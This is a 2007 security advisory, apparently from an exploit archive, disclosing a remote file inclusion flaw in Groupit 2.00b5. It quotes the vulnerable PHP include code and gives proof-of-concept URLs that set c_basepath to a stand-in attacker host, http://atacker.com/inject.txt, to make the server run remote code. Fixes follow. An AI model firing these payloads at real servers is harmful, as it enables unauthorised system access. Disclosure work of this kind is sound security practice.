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Groupit 2.00b5 (c_basepath) Remote File Inclusion Vulnerability

Author
the_day
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-1592
Category
web applications
Date add
15-03-2007
Platform
unsorted
===============================================================
Groupit 2.00b5 (c_basepath) Remote File Inclusion Vulnerability
===============================================================



-------------------------------------------------------------------------------------
[ECHO_ADV_75$2007] Groupit 2.00b5 (c_basepath) Remote File Inclusion Vulnerability
-------------------------------------- ----------------------------------------------

Author          : Dedi Dwianto a.k.a the_day
Date Found      : March, 15th 2007
Location        : Indonesia, Jakarta
Critical Lvl    : Highly critical
Impact          : System access
Where           : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~

Application     : Groupit
version         : 2.00b5
URL             : http://fresh.t-systems-sfr.com/fresh/unix/src/privat2/groupit-2.00b5.tar.gz

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~

- Invalid include function at html/content.php
-----------------------html/content.php------------

<?
...
include "$c_basepath/base/groupit.start.inc";

if (!empty($c_is_search))
{
  include "$c_basepath/modules/search/main.inc";
} else
{
  if ($c_is_section)
  {
     include  "$c_basepath/modules/content/section.inc";
  } else
  .........

include "$c_basepath/base/groupit.stop.inc";
?>
----------------------------------------------------------

Input passed to the "$c_basepath" parameter in load.inc.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

also affected files :

html/userprofile.php
html/password.php
html/dispatch.php
html/deliver.php

and More ....



Proof Of Concept:
~~~~~~~~~~~

http://localhost/groupit/html/content.php?c_basepath=http://atacker.com/inject.txt?
http://localhost/groupit/html/userprofile.php?c_basepath=http://atacker.com/inject.txt?
http://localhost/groupit/html/password.php?c_basepath=http://atacker.com/inject.txt?

Solution:
~~~

- Sanitize variable $c_basepath affected files.
- Turn off register_globals

---------------------------------------------------------------------------

Shoutz:
~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy Nice Girl
~ az001,bomm_3x,matdhule
------------------------------------------------------------------------
---
Contact:
~
    EcHo Research & Development Center


-------------------------------- [ EOF ]----------------------------------




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